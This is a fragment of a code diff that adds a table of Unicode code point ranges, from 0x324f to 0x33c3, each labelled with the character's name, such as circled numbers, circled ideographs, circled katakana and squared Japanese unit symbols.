+ [0x324f, 0x324f], /* CIRCLED NUMBER EIGHTY ON BLACK SQUARE */
+ [0x3250, 0x3250], /* PARTNERSHIP SIGN */
+ [0x3251, 0x3251], /* CIRCLED NUMBER TWENTY ONE */
+ [0x3252, 0x3252], /* CIRCLED NUMBER TWENTY TWO */
+ [0x3253, 0x3253], /* CIRCLED NUMBER TWENTY THREE */
+ [0x3254, 0x3254], /* CIRCLED NUMBER TWENTY FOUR */
+ [0x3255, 0x3255], /* CIRCLED NUMBER TWENTY FIVE */
+ [0x3256, 0x3256], /* CIRCLED NUMBER TWENTY SIX */
+ [0x3257, 0x3257], /* CIRCLED NUMBER TWENTY SEVEN */
+ [0x3258, 0x3258], /* CIRCLED NUMBER TWENTY EIGHT */
+ [0x3259, 0x3259], /* CIRCLED NUMBER TWENTY NINE */
+ [0x325a, 0x325a], /* CIRCLED NUMBER THIRTY */
+ [0x325b, 0x325b], /* CIRCLED NUMBER THIRTY ONE */
+ [0x325c, 0x325c], /* CIRCLED NUMBER THIRTY TWO */
+ [0x325d, 0x325d], /* CIRCLED NUMBER THIRTY THREE */
+ [0x325e, 0x325e], /* CIRCLED NUMBER THIRTY FOUR */
+ [0x325f, 0x325f], /* CIRCLED NUMBER THIRTY FIVE */
+ [0x3260, 0x3260], /* CIRCLED HANGUL KIYEOK (CIRCLED HANGUL GIYEOG) */
+ [0x3261, 0x3261], /* CIRCLED HANGUL NIEUN */
+ [0x3262, 0x3262], /* CIRCLED HANGUL TIKEUT (CIRCLED HANGUL DIGEUD) */
+ [0x3263, 0x3263], /* CIRCLED HANGUL RIEUL (CIRCLED HANGUL LIEUL) */
+ [0x3264, 0x3264], /* CIRCLED HANGUL MIEUM */
+ [0x3265, 0x3265], /* CIRCLED HANGUL PIEUP (CIRCLED HANGUL BIEUB) */
+ [0x3266, 0x3266], /* CIRCLED HANGUL SIOS */
+ [0x3267, 0x3267], /* CIRCLED HANGUL IEUNG */
+ [0x3268, 0x3268], /* CIRCLED HANGUL CIEUC (CIRCLED HANGUL JIEUJ) */
+ [0x3269, 0x3269], /* CIRCLED HANGUL CHIEUCH (CIRCLED HANGUL CIEUC) */
+ [0x326a, 0x326a], /* CIRCLED HANGUL KHIEUKH (CIRCLED HANGUL KIYEOK) */
+ [0x326b, 0x326b], /* CIRCLED HANGUL THIEUTH (CIRCLED HANGUL TIEUT) */
+ [0x326c, 0x326c], /* CIRCLED HANGUL PHIEUPH (CIRCLED HANGUL PIEUP) */
+ [0x326d, 0x326d], /* CIRCLED HANGUL HIEUH */
+ [0x326e, 0x326e], /* CIRCLED HANGUL KIYEOK A (CIRCLED HANGUL GA) */
+ [0x326f, 0x326f], /* CIRCLED HANGUL NIEUN A (CIRCLED HANGUL NA) */
+ [0x3270, 0x3270], /* CIRCLED HANGUL TIKEUT A (CIRCLED HANGUL DA) */
+ [0x3271, 0x3271], /* CIRCLED HANGUL RIEUL A (CIRCLED HANGUL LA) */
+ [0x3272, 0x3272], /* CIRCLED HANGUL MIEUM A (CIRCLED HANGUL MA) */
+ [0x3273, 0x3273], /* CIRCLED HANGUL PIEUP A (CIRCLED HANGUL BA) */
+ [0x3274, 0x3274], /* CIRCLED HANGUL SIOS A (CIRCLED HANGUL SA) */
+ [0x3275, 0x3275], /* CIRCLED HANGUL IEUNG A (CIRCLED HANGUL A) */
+ [0x3276, 0x3276], /* CIRCLED HANGUL CIEUC A (CIRCLED HANGUL JA) */
+ [0x3277, 0x3277], /* CIRCLED HANGUL CHIEUCH A (CIRCLED HANGUL CA) */
+ [0x3278, 0x3278], /* CIRCLED HANGUL KHIEUKH A (CIRCLED HANGUL KA) */
+ [0x3279, 0x3279], /* CIRCLED HANGUL THIEUTH A (CIRCLED HANGUL TA) */
+ [0x327a, 0x327a], /* CIRCLED HANGUL PHIEUPH A (CIRCLED HANGUL PA) */
+ [0x327b, 0x327b], /* CIRCLED HANGUL HIEUH A (CIRCLED HANGUL HA) */
+ [0x327c, 0x327c], /* CIRCLED KOREAN CHARACTER CHAMKO */
+ [0x327d, 0x327d], /* CIRCLED KOREAN CHARACTER JUEUI */
+ [0x327e, 0x327e], /* CIRCLED HANGUL IEUNG U */
+ [0x327f, 0x327f], /* KOREAN STANDARD SYMBOL */
+ [0x3280, 0x3280], /* CIRCLED IDEOGRAPH ONE */
+ [0x3281, 0x3281], /* CIRCLED IDEOGRAPH TWO */
+ [0x3282, 0x3282], /* CIRCLED IDEOGRAPH THREE */
+ [0x3283, 0x3283], /* CIRCLED IDEOGRAPH FOUR */
+ [0x3284, 0x3284], /* CIRCLED IDEOGRAPH FIVE */
+ [0x3285, 0x3285], /* CIRCLED IDEOGRAPH SIX */
+ [0x3286, 0x3286], /* CIRCLED IDEOGRAPH SEVEN */
+ [0x3287, 0x3287], /* CIRCLED IDEOGRAPH EIGHT */
+ [0x3288, 0x3288], /* CIRCLED IDEOGRAPH NINE */
+ [0x3289, 0x3289], /* CIRCLED IDEOGRAPH TEN */
+ [0x328a, 0x328a], /* CIRCLED IDEOGRAPH MOON */
+ [0x328b, 0x328b], /* CIRCLED IDEOGRAPH FIRE */
+ [0x328c, 0x328c], /* CIRCLED IDEOGRAPH WATER */
+ [0x328d, 0x328d], /* CIRCLED IDEOGRAPH WOOD */
+ [0x328e, 0x328e], /* CIRCLED IDEOGRAPH METAL */
+ [0x328f, 0x328f], /* CIRCLED IDEOGRAPH EARTH */
+ [0x3290, 0x3290], /* CIRCLED IDEOGRAPH SUN */
+ [0x3291, 0x3291], /* CIRCLED IDEOGRAPH STOCK */
+ [0x3292, 0x3292], /* CIRCLED IDEOGRAPH HAVE */
+ [0x3293, 0x3293], /* CIRCLED IDEOGRAPH SOCIETY */
+ [0x3294, 0x3294], /* CIRCLED IDEOGRAPH NAME */
+ [0x3295, 0x3295], /* CIRCLED IDEOGRAPH SPECIAL */
+ [0x3296, 0x3296], /* CIRCLED IDEOGRAPH FINANCIAL */
+ [0x3297, 0x3297], /* CIRCLED IDEOGRAPH CONGRATULATION */
+ [0x3298, 0x3298], /* CIRCLED IDEOGRAPH LABOR */
+ [0x3299, 0x3299], /* CIRCLED IDEOGRAPH SECRET */
+ [0x329a, 0x329a], /* CIRCLED IDEOGRAPH MALE */
+ [0x329b, 0x329b], /* CIRCLED IDEOGRAPH FEMALE */
+ [0x329c, 0x329c], /* CIRCLED IDEOGRAPH SUITABLE */
+ [0x329d, 0x329d], /* CIRCLED IDEOGRAPH EXCELLENT */
+ [0x329e, 0x329e], /* CIRCLED IDEOGRAPH PRINT */
+ [0x329f, 0x329f], /* CIRCLED IDEOGRAPH ATTENTION */
+ [0x32a0, 0x32a0], /* CIRCLED IDEOGRAPH ITEM */
+ [0x32a1, 0x32a1], /* CIRCLED IDEOGRAPH REST */
+ [0x32a2, 0x32a2], /* CIRCLED IDEOGRAPH COPY */
+ [0x32a3, 0x32a3], /* CIRCLED IDEOGRAPH CORRECT */
+ [0x32a4, 0x32a4], /* CIRCLED IDEOGRAPH HIGH */
+ [0x32a5, 0x32a5], /* CIRCLED IDEOGRAPH CENTRE (CIRCLED IDEOGRAPH CENTER) */
+ [0x32a6, 0x32a6], /* CIRCLED IDEOGRAPH LOW */
+ [0x32a7, 0x32a7], /* CIRCLED IDEOGRAPH LEFT */
+ [0x32a8, 0x32a8], /* CIRCLED IDEOGRAPH RIGHT */
+ [0x32a9, 0x32a9], /* CIRCLED IDEOGRAPH MEDICINE */
+ [0x32aa, 0x32aa], /* CIRCLED IDEOGRAPH RELIGION */
+ [0x32ab, 0x32ab], /* CIRCLED IDEOGRAPH STUDY */
+ [0x32ac, 0x32ac], /* CIRCLED IDEOGRAPH SUPERVISE */
+ [0x32ad, 0x32ad], /* CIRCLED IDEOGRAPH ENTERPRISE */
+ [0x32ae, 0x32ae], /* CIRCLED IDEOGRAPH RESOURCE */
+ [0x32af, 0x32af], /* CIRCLED IDEOGRAPH ALLIANCE */
+ [0x32b0, 0x32b0], /* CIRCLED IDEOGRAPH NIGHT */
+ [0x32b1, 0x32b1], /* CIRCLED NUMBER THIRTY SIX */
+ [0x32b2, 0x32b2], /* CIRCLED NUMBER THIRTY SEVEN */
+ [0x32b3, 0x32b3], /* CIRCLED NUMBER THIRTY EIGHT */
+ [0x32b4, 0x32b4], /* CIRCLED NUMBER THIRTY NINE */
+ [0x32b5, 0x32b5], /* CIRCLED NUMBER FORTY */
+ [0x32b6, 0x32b6], /* CIRCLED NUMBER FORTY ONE */
+ [0x32b7, 0x32b7], /* CIRCLED NUMBER FORTY TWO */
+ [0x32b8, 0x32b8], /* CIRCLED NUMBER FORTY THREE */
+ [0x32b9, 0x32b9], /* CIRCLED NUMBER FORTY FOUR */
+ [0x32ba, 0x32ba], /* CIRCLED NUMBER FORTY FIVE */
+ [0x32bb, 0x32bb], /* CIRCLED NUMBER FORTY SIX */
+ [0x32bc, 0x32bc], /* CIRCLED NUMBER FORTY SEVEN */
+ [0x32bd, 0x32bd], /* CIRCLED NUMBER FORTY EIGHT */
+ [0x32be, 0x32be], /* CIRCLED NUMBER FORTY NINE */
+ [0x32bf, 0x32bf], /* CIRCLED NUMBER FIFTY */
+ [0x32c0, 0x32c0], /* IDEOGRAPHIC TELEGRAPH SYMBOL FOR JANUARY */
+ [0x32c1, 0x32c1], /* IDEOGRAPHIC TELEGRAPH SYMBOL FOR FEBRUARY */
+ [0x32c2, 0x32c2], /* IDEOGRAPHIC TELEGRAPH SYMBOL FOR MARCH */
+ [0x32c3, 0x32c3], /* IDEOGRAPHIC TELEGRAPH SYMBOL FOR APRIL */
+ [0x32c4, 0x32c4], /* IDEOGRAPHIC TELEGRAPH SYMBOL FOR MAY */
+ [0x32c5, 0x32c5], /* IDEOGRAPHIC TELEGRAPH SYMBOL FOR JUNE */
+ [0x32c6, 0x32c6], /* IDEOGRAPHIC TELEGRAPH SYMBOL FOR JULY */
+ [0x32c7, 0x32c7], /* IDEOGRAPHIC TELEGRAPH SYMBOL FOR AUGUST */
+ [0x32c8, 0x32c8], /* IDEOGRAPHIC TELEGRAPH SYMBOL FOR SEPTEMBER */
+ [0x32c9, 0x32c9], /* IDEOGRAPHIC TELEGRAPH SYMBOL FOR OCTOBER */
+ [0x32ca, 0x32ca], /* IDEOGRAPHIC TELEGRAPH SYMBOL FOR NOVEMBER */
+ [0x32cb, 0x32cb], /* IDEOGRAPHIC TELEGRAPH SYMBOL FOR DECEMBER */
+ [0x32cc, 0x32cc], /* SQUARE HG */
+ [0x32cd, 0x32cd], /* SQUARE ERG */
+ [0x32ce, 0x32ce], /* SQUARE EV */
+ [0x32cf, 0x32cf], /* LIMITED LIABILITY SIGN */
+ [0x32d0, 0x32d0], /* CIRCLED KATAKANA A */
+ [0x32d1, 0x32d1], /* CIRCLED KATAKANA I */
+ [0x32d2, 0x32d2], /* CIRCLED KATAKANA U */
+ [0x32d3, 0x32d3], /* CIRCLED KATAKANA E */
+ [0x32d4, 0x32d4], /* CIRCLED KATAKANA O */
+ [0x32d5, 0x32d5], /* CIRCLED KATAKANA KA */
+ [0x32d6, 0x32d6], /* CIRCLED KATAKANA KI */
+ [0x32d7, 0x32d7], /* CIRCLED KATAKANA KU */
+ [0x32d8, 0x32d8], /* CIRCLED KATAKANA KE */
+ [0x32d9, 0x32d9], /* CIRCLED KATAKANA KO */
+ [0x32da, 0x32da], /* CIRCLED KATAKANA SA */
+ [0x32db, 0x32db], /* CIRCLED KATAKANA SI */
+ [0x32dc, 0x32dc], /* CIRCLED KATAKANA SU */
+ [0x32dd, 0x32dd], /* CIRCLED KATAKANA SE */
+ [0x32de, 0x32de], /* CIRCLED KATAKANA SO */
+ [0x32df, 0x32df], /* CIRCLED KATAKANA TA */
+ [0x32e0, 0x32e0], /* CIRCLED KATAKANA TI */
+ [0x32e1, 0x32e1], /* CIRCLED KATAKANA TU */
+ [0x32e2, 0x32e2], /* CIRCLED KATAKANA TE */
+ [0x32e3, 0x32e3], /* CIRCLED KATAKANA TO */
+ [0x32e4, 0x32e4], /* CIRCLED KATAKANA NA */
+ [0x32e5, 0x32e5], /* CIRCLED KATAKANA NI */
+ [0x32e6, 0x32e6], /* CIRCLED KATAKANA NU */
+ [0x32e7, 0x32e7], /* CIRCLED KATAKANA NE */
+ [0x32e8, 0x32e8], /* CIRCLED KATAKANA NO */
+ [0x32e9, 0x32e9], /* CIRCLED KATAKANA HA */
+ [0x32ea, 0x32ea], /* CIRCLED KATAKANA HI */
+ [0x32eb, 0x32eb], /* CIRCLED KATAKANA HU */
+ [0x32ec, 0x32ec], /* CIRCLED KATAKANA HE */
+ [0x32ed, 0x32ed], /* CIRCLED KATAKANA HO */
+ [0x32ee, 0x32ee], /* CIRCLED KATAKANA MA */
+ [0x32ef, 0x32ef], /* CIRCLED KATAKANA MI */
+ [0x32f0, 0x32f0], /* CIRCLED KATAKANA MU */
+ [0x32f1, 0x32f1], /* CIRCLED KATAKANA ME */
+ [0x32f2, 0x32f2], /* CIRCLED KATAKANA MO */
+ [0x32f3, 0x32f3], /* CIRCLED KATAKANA YA */
+ [0x32f4, 0x32f4], /* CIRCLED KATAKANA YU */
+ [0x32f5, 0x32f5], /* CIRCLED KATAKANA YO */
+ [0x32f6, 0x32f6], /* CIRCLED KATAKANA RA */
+ [0x32f7, 0x32f7], /* CIRCLED KATAKANA RI */
+ [0x32f8, 0x32f8], /* CIRCLED KATAKANA RU */
+ [0x32f9, 0x32f9], /* CIRCLED KATAKANA RE */
+ [0x32fa, 0x32fa], /* CIRCLED KATAKANA RO */
+ [0x32fb, 0x32fb], /* CIRCLED KATAKANA WA */
+ [0x32fc, 0x32fc], /* CIRCLED KATAKANA WI */
+ [0x32fd, 0x32fd], /* CIRCLED KATAKANA WE */
+ [0x32fe, 0x32fe], /* CIRCLED KATAKANA WO */
+ [0x32ff, 0x32ff],
+ [0x3300, 0x3300], /* SQUARE APAATO (SQUARED APAATO) */
+ [0x3301, 0x3301], /* SQUARE ARUHUA (SQUARED ARUHUA) */
+ [0x3302, 0x3302], /* SQUARE ANPEA (SQUARED ANPEA) */
+ [0x3303, 0x3303], /* SQUARE AARU (SQUARED AARU) */
+ [0x3304, 0x3304], /* SQUARE ININGU (SQUARED ININGU) */
+ [0x3305, 0x3305], /* SQUARE INTI (SQUARED INTI) */
+ [0x3306, 0x3306], /* SQUARE UON (SQUARED UON) */
+ [0x3307, 0x3307], /* SQUARE ESUKUUDO (SQUARED ESUKUUDO) */
+ [0x3308, 0x3308], /* SQUARE EEKAA (SQUARED EEKAA) */
+ [0x3309, 0x3309], /* SQUARE ONSU (SQUARED ONSU) */
+ [0x330a, 0x330a], /* SQUARE OOMU (SQUARED OOMU) */
+ [0x330b, 0x330b], /* SQUARE KAIRI (SQUARED KAIRI) */
+ [0x330c, 0x330c], /* SQUARE KARATTO (SQUARED KARATTO) */
+ [0x330d, 0x330d], /* SQUARE KARORII (SQUARED KARORII) */
+ [0x330e, 0x330e], /* SQUARE GARON (SQUARED GARON) */
+ [0x330f, 0x330f], /* SQUARE GANMA (SQUARED GANMA) */
+ [0x3310, 0x3310], /* SQUARE GIGA (SQUARED GIGA) */
+ [0x3311, 0x3311], /* SQUARE GINII (SQUARED GINII) */
+ [0x3312, 0x3312], /* SQUARE KYURII (SQUARED KYURII) */
+ [0x3313, 0x3313], /* SQUARE GIRUDAA (SQUARED GIRUDAA) */
+ [0x3314, 0x3314], /* SQUARE KIRO (SQUARED KIRO) */
+ [0x3315, 0x3315], /* SQUARE KIROGURAMU (SQUARED KIROGURAMU) */
+ [0x3316, 0x3316], /* SQUARE KIROMEETORU (SQUARED KIROMEETORU) */
+ [0x3317, 0x3317], /* SQUARE KIROWATTO (SQUARED KIROWATTO) */
+ [0x3318, 0x3318], /* SQUARE GURAMU (SQUARED GURAMU) */
+ [0x3319, 0x3319], /* SQUARE GURAMUTON (SQUARED GURAMUTON) */
+ [0x331a, 0x331a], /* SQUARE KURUZEIRO (SQUARED KURUZEIRO) */
+ [0x331b, 0x331b], /* SQUARE KUROONE (SQUARED KUROONE) */
+ [0x331c, 0x331c], /* SQUARE KEESU (SQUARED KEESU) */
+ [0x331d, 0x331d], /* SQUARE KORUNA (SQUARED KORUNA) */
+ [0x331e, 0x331e], /* SQUARE KOOPO (SQUARED KOOPO) */
+ [0x331f, 0x331f], /* SQUARE SAIKURU (SQUARED SAIKURU) */
+ [0x3320, 0x3320], /* SQUARE SANTIIMU (SQUARED SANTIIMU) */
+ [0x3321, 0x3321], /* SQUARE SIRINGU (SQUARED SIRINGU) */
+ [0x3322, 0x3322], /* SQUARE SENTI (SQUARED SENTI) */
+ [0x3323, 0x3323], /* SQUARE SENTO (SQUARED SENTO) */
+ [0x3324, 0x3324], /* SQUARE DAASU (SQUARED DAASU) */
+ [0x3325, 0x3325], /* SQUARE DESI (SQUARED DESI) */
+ [0x3326, 0x3326], /* SQUARE DORU (SQUARED DORU) */
+ [0x3327, 0x3327], /* SQUARE TON (SQUARED TON) */
+ [0x3328, 0x3328], /* SQUARE NANO (SQUARED NANO) */
+ [0x3329, 0x3329], /* SQUARE NOTTO (SQUARED NOTTO) */
+ [0x332a, 0x332a], /* SQUARE HAITU (SQUARED HAITU) */
+ [0x332b, 0x332b], /* SQUARE PAASENTO (SQUARED PAASENTO) */
+ [0x332c, 0x332c], /* SQUARE PAATU (SQUARED PAATU) */
+ [0x332d, 0x332d], /* SQUARE BAARERU (SQUARED BAARERU) */
+ [0x332e, 0x332e], /* SQUARE PIASUTORU (SQUARED PIASUTORU) */
+ [0x332f, 0x332f], /* SQUARE PIKURU (SQUARED PIKURU) */
+ [0x3330, 0x3330], /* SQUARE PIKO (SQUARED PIKO) */
+ [0x3331, 0x3331], /* SQUARE BIRU (SQUARED BIRU) */
+ [0x3332, 0x3332], /* SQUARE HUARADDO (SQUARED HUARADDO) */
+ [0x3333, 0x3333], /* SQUARE HUIITO (SQUARED HUIITO) */
+ [0x3334, 0x3334], /* SQUARE BUSSYERU (SQUARED BUSSYERU) */
+ [0x3335, 0x3335], /* SQUARE HURAN (SQUARED HURAN) */
+ [0x3336, 0x3336], /* SQUARE HEKUTAARU (SQUARED HEKUTAARU) */
+ [0x3337, 0x3337], /* SQUARE PESO (SQUARED PESO) */
+ [0x3338, 0x3338], /* SQUARE PENIHI (SQUARED PENIHI) */
+ [0x3339, 0x3339], /* SQUARE HERUTU (SQUARED HERUTU) */
+ [0x333a, 0x333a], /* SQUARE PENSU (SQUARED PENSU) */
+ [0x333b, 0x333b], /* SQUARE PEEZI (SQUARED PEEZI) */
+ [0x333c, 0x333c], /* SQUARE BEETA (SQUARED BEETA) */
+ [0x333d, 0x333d], /* SQUARE POINTO (SQUARED POINTO) */
+ [0x333e, 0x333e], /* SQUARE BORUTO (SQUARED BORUTO) */
+ [0x333f, 0x333f], /* SQUARE HON (SQUARED HON) */
+ [0x3340, 0x3340], /* SQUARE PONDO (SQUARED PONDO) */
+ [0x3341, 0x3341], /* SQUARE HOORU (SQUARED HOORU) */
+ [0x3342, 0x3342], /* SQUARE HOON (SQUARED HOON) */
+ [0x3343, 0x3343], /* SQUARE MAIKURO (SQUARED MAIKURO) */
+ [0x3344, 0x3344], /* SQUARE MAIRU (SQUARED MAIRU) */
+ [0x3345, 0x3345], /* SQUARE MAHHA (SQUARED MAHHA) */
+ [0x3346, 0x3346], /* SQUARE MARUKU (SQUARED MARUKU) */
+ [0x3347, 0x3347], /* SQUARE MANSYON (SQUARED MANSYON) */
+ [0x3348, 0x3348], /* SQUARE MIKURON (SQUARED MIKURON) */
+ [0x3349, 0x3349], /* SQUARE MIRI (SQUARED MIRI) */
+ [0x334a, 0x334a], /* SQUARE MIRIBAARU (SQUARED MIRIBAARU) */
+ [0x334b, 0x334b], /* SQUARE MEGA (SQUARED MEGA) */
+ [0x334c, 0x334c], /* SQUARE MEGATON (SQUARED MEGATON) */
+ [0x334d, 0x334d], /* SQUARE MEETORU (SQUARED MEETORU) */
+ [0x334e, 0x334e], /* SQUARE YAADO (SQUARED YAADO) */
+ [0x334f, 0x334f], /* SQUARE YAARU (SQUARED YAARU) */
+ [0x3350, 0x3350], /* SQUARE YUAN (SQUARED YUAN) */
+ [0x3351, 0x3351], /* SQUARE RITTORU (SQUARED RITTORU) */
+ [0x3352, 0x3352], /* SQUARE RIRA (SQUARED RIRA) */
+ [0x3353, 0x3353], /* SQUARE RUPII (SQUARED RUPII) */
+ [0x3354, 0x3354], /* SQUARE RUUBURU (SQUARED RUUBURU) */
+ [0x3355, 0x3355], /* SQUARE REMU (SQUARED REMU) */
+ [0x3356, 0x3356], /* SQUARE RENTOGEN (SQUARED RENTOGEN) */
+ [0x3357, 0x3357], /* SQUARE WATTO (SQUARED WATTO) */
+ [0x3358, 0x3358], /* IDEOGRAPHIC TELEGRAPH SYMBOL FOR HOUR ZERO */
+ [0x3359, 0x3359], /* IDEOGRAPHIC TELEGRAPH SYMBOL FOR HOUR ONE */
+ [0x335a, 0x335a], /* IDEOGRAPHIC TELEGRAPH SYMBOL FOR HOUR TWO */
+ [0x335b, 0x335b], /* IDEOGRAPHIC TELEGRAPH SYMBOL FOR HOUR THREE */
+ [0x335c, 0x335c], /* IDEOGRAPHIC TELEGRAPH SYMBOL FOR HOUR FOUR */
+ [0x335d, 0x335d], /* IDEOGRAPHIC TELEGRAPH SYMBOL FOR HOUR FIVE */
+ [0x335e, 0x335e], /* IDEOGRAPHIC TELEGRAPH SYMBOL FOR HOUR SIX */
+ [0x335f, 0x335f], /* IDEOGRAPHIC TELEGRAPH SYMBOL FOR HOUR SEVEN */
+ [0x3360, 0x3360], /* IDEOGRAPHIC TELEGRAPH SYMBOL FOR HOUR EIGHT */
+ [0x3361, 0x3361], /* IDEOGRAPHIC TELEGRAPH SYMBOL FOR HOUR NINE */
+ [0x3362, 0x3362], /* IDEOGRAPHIC TELEGRAPH SYMBOL FOR HOUR TEN */
+ [0x3363, 0x3363], /* IDEOGRAPHIC TELEGRAPH SYMBOL FOR HOUR ELEVEN */
+ [0x3364, 0x3364], /* IDEOGRAPHIC TELEGRAPH SYMBOL FOR HOUR TWELVE */
+ [0x3365, 0x3365], /* IDEOGRAPHIC TELEGRAPH SYMBOL FOR HOUR THIRTEEN */
+ [0x3366, 0x3366], /* IDEOGRAPHIC TELEGRAPH SYMBOL FOR HOUR FOURTEEN */
+ [0x3367, 0x3367], /* IDEOGRAPHIC TELEGRAPH SYMBOL FOR HOUR FIFTEEN */
+ [0x3368, 0x3368], /* IDEOGRAPHIC TELEGRAPH SYMBOL FOR HOUR SIXTEEN */
+ [0x3369, 0x3369], /* IDEOGRAPHIC TELEGRAPH SYMBOL FOR HOUR SEVENTEEN */
+ [0x336a, 0x336a], /* IDEOGRAPHIC TELEGRAPH SYMBOL FOR HOUR EIGHTEEN */
+ [0x336b, 0x336b], /* IDEOGRAPHIC TELEGRAPH SYMBOL FOR HOUR NINETEEN */
+ [0x336c, 0x336c], /* IDEOGRAPHIC TELEGRAPH SYMBOL FOR HOUR TWENTY */
+ [0x336d, 0x336d], /* IDEOGRAPHIC TELEGRAPH SYMBOL FOR HOUR TWENTY-ONE */
+ [0x336e, 0x336e], /* IDEOGRAPHIC TELEGRAPH SYMBOL FOR HOUR TWENTY-TWO */
+ [0x336f, 0x336f], /* IDEOGRAPHIC TELEGRAPH SYMBOL FOR HOUR TWENTY-THREE */
+ [0x3370, 0x3370], /* IDEOGRAPHIC TELEGRAPH SYMBOL FOR HOUR TWENTY-FOUR */
+ [0x3371, 0x3371], /* SQUARE HPA */
+ [0x3372, 0x3372], /* SQUARE DA */
+ [0x3373, 0x3373], /* SQUARE AU */
+ [0x3374, 0x3374], /* SQUARE BAR */
+ [0x3375, 0x3375], /* SQUARE OV */
+ [0x3376, 0x3376], /* SQUARE PC */
+ [0x3377, 0x3377], /* SQUARE DM */
+ [0x3378, 0x3378], /* SQUARE DM SQUARED */
+ [0x3379, 0x3379], /* SQUARE DM CUBED */
+ [0x337a, 0x337a], /* SQUARE IU */
+ [0x337b, 0x337b], /* SQUARE ERA NAME HEISEI (SQUARED TWO IDEOGRAPHS ERA NAME HEISEI) */
+ [0x337c, 0x337c], /* SQUARE ERA NAME SYOUWA (SQUARED TWO IDEOGRAPHS ERA NAME SYOUWA) */
+ [0x337d, 0x337d], /* SQUARE ERA NAME TAISYOU (SQUARED TWO IDEOGRAPHS ERA NAME TAISYOU) */
+ [0x337e, 0x337e], /* SQUARE ERA NAME MEIZI (SQUARED TWO IDEOGRAPHS ERA NAME MEIZI) */
+ [0x337f, 0x337f], /* SQUARE CORPORATION (SQUARED FOUR IDEOGRAPHS CORPORATION) */
+ [0x3380, 0x3380], /* SQUARE PA AMPS (SQUARED PA AMPS) */
+ [0x3381, 0x3381], /* SQUARE NA (SQUARED NA) */
+ [0x3382, 0x3382], /* SQUARE MU A (SQUARED MU A) */
+ [0x3383, 0x3383], /* SQUARE MA (SQUARED MA) */
+ [0x3384, 0x3384], /* SQUARE KA (SQUARED KA) */
+ [0x3385, 0x3385], /* SQUARE KB (SQUARED KB) */
+ [0x3386, 0x3386], /* SQUARE MB (SQUARED MB) */
+ [0x3387, 0x3387], /* SQUARE GB (SQUARED GB) */
+ [0x3388, 0x3388], /* SQUARE CAL (SQUARED CAL) */
+ [0x3389, 0x3389], /* SQUARE KCAL (SQUARED KCAL) */
+ [0x338a, 0x338a], /* SQUARE PF (SQUARED PF) */
+ [0x338b, 0x338b], /* SQUARE NF (SQUARED NF) */
+ [0x338c, 0x338c], /* SQUARE MU F (SQUARED MU F) */
+ [0x338d, 0x338d], /* SQUARE MU G (SQUARED MU G) */
+ [0x338e, 0x338e], /* SQUARE MG (SQUARED MG) */
+ [0x338f, 0x338f], /* SQUARE KG (SQUARED KG) */
+ [0x3390, 0x3390], /* SQUARE HZ (SQUARED HZ) */
+ [0x3391, 0x3391], /* SQUARE KHZ (SQUARED KHZ) */
+ [0x3392, 0x3392], /* SQUARE MHZ (SQUARED MHZ) */
+ [0x3393, 0x3393], /* SQUARE GHZ (SQUARED GHZ) */
+ [0x3394, 0x3394], /* SQUARE THZ (SQUARED THZ) */
+ [0x3395, 0x3395], /* SQUARE MU L (SQUARED MU L) */
+ [0x3396, 0x3396], /* SQUARE ML (SQUARED ML) */
+ [0x3397, 0x3397], /* SQUARE DL (SQUARED DL) */
+ [0x3398, 0x3398], /* SQUARE KL (SQUARED KL) */
+ [0x3399, 0x3399], /* SQUARE FM (SQUARED FM) */
+ [0x339a, 0x339a], /* SQUARE NM (SQUARED NM) */
+ [0x339b, 0x339b], /* SQUARE MU M (SQUARED MU M) */
+ [0x339c, 0x339c], /* SQUARE MM (SQUARED MM) */
+ [0x339d, 0x339d], /* SQUARE CM (SQUARED CM) */
+ [0x339e, 0x339e], /* SQUARE KM (SQUARED KM) */
+ [0x339f, 0x339f], /* SQUARE MM SQUARED (SQUARED MM SQUARED) */
+ [0x33a0, 0x33a0], /* SQUARE CM SQUARED (SQUARED CM SQUARED) */
+ [0x33a1, 0x33a1], /* SQUARE M SQUARED (SQUARED M SQUARED) */
+ [0x33a2, 0x33a2], /* SQUARE KM SQUARED (SQUARED KM SQUARED) */
+ [0x33a3, 0x33a3], /* SQUARE MM CUBED (SQUARED MM CUBED) */
+ [0x33a4, 0x33a4], /* SQUARE CM CUBED (SQUARED CM CUBED) */
+ [0x33a5, 0x33a5], /* SQUARE M CUBED (SQUARED M CUBED) */
+ [0x33a6, 0x33a6], /* SQUARE KM CUBED (SQUARED KM CUBED) */
+ [0x33a7, 0x33a7], /* SQUARE M OVER S (SQUARED M OVER S) */
+ [0x33a8, 0x33a8], /* SQUARE M OVER S SQUARED (SQUARED M OVER S SQUARED) */
+ [0x33a9, 0x33a9], /* SQUARE PA (SQUARED PA) */
+ [0x33aa, 0x33aa], /* SQUARE KPA (SQUARED KPA) */
+ [0x33ab, 0x33ab], /* SQUARE MPA (SQUARED MPA) */
+ [0x33ac, 0x33ac], /* SQUARE GPA (SQUARED GPA) */
+ [0x33ad, 0x33ad], /* SQUARE RAD (SQUARED RAD) */
+ [0x33ae, 0x33ae], /* SQUARE RAD OVER S (SQUARED RAD OVER S) */
+ [0x33af, 0x33af], /* SQUARE RAD OVER S SQUARED (SQUARED RAD OVER S SQUARED) */
+ [0x33b0, 0x33b0], /* SQUARE PS (SQUARED PS) */
+ [0x33b1, 0x33b1], /* SQUARE NS (SQUARED NS) */
+ [0x33b2, 0x33b2], /* SQUARE MU S (SQUARED MU S) */
+ [0x33b3, 0x33b3], /* SQUARE MS (SQUARED MS) */
+ [0x33b4, 0x33b4], /* SQUARE PV (SQUARED PV) */
+ [0x33b5, 0x33b5], /* SQUARE NV (SQUARED NV) */
+ [0x33b6, 0x33b6], /* SQUARE MU V (SQUARED MU V) */
+ [0x33b7, 0x33b7], /* SQUARE MV (SQUARED MV) */
+ [0x33b8, 0x33b8], /* SQUARE KV (SQUARED KV) */
+ [0x33b9, 0x33b9], /* SQUARE MV MEGA (SQUARED MV MEGA) */
+ [0x33ba, 0x33ba], /* SQUARE PW (SQUARED PW) */
+ [0x33bb, 0x33bb], /* SQUARE NW (SQUARED NW) */
+ [0x33bc, 0x33bc], /* SQUARE MU W (SQUARED MU W) */
+ [0x33bd, 0x33bd], /* SQUARE MW (SQUARED MW) */
+ [0x33be, 0x33be], /* SQUARE KW (SQUARED KW) */
+ [0x33bf, 0x33bf], /* SQUARE MW MEGA (SQUARED MW MEGA) */
+ [0x33c0, 0x33c0], /* SQUARE K OHM (SQUARED K OHM) */
+ [0x33c1, 0x33c1], /* SQUARE M OHM (SQUARED M OHM) */
+ [0x33c2, 0x33c2], /* SQUARE AM (SQUARED AM) */
+ [0x33c3, 0x33c3], /* SQUARE BQ (SQUARED BQ) */
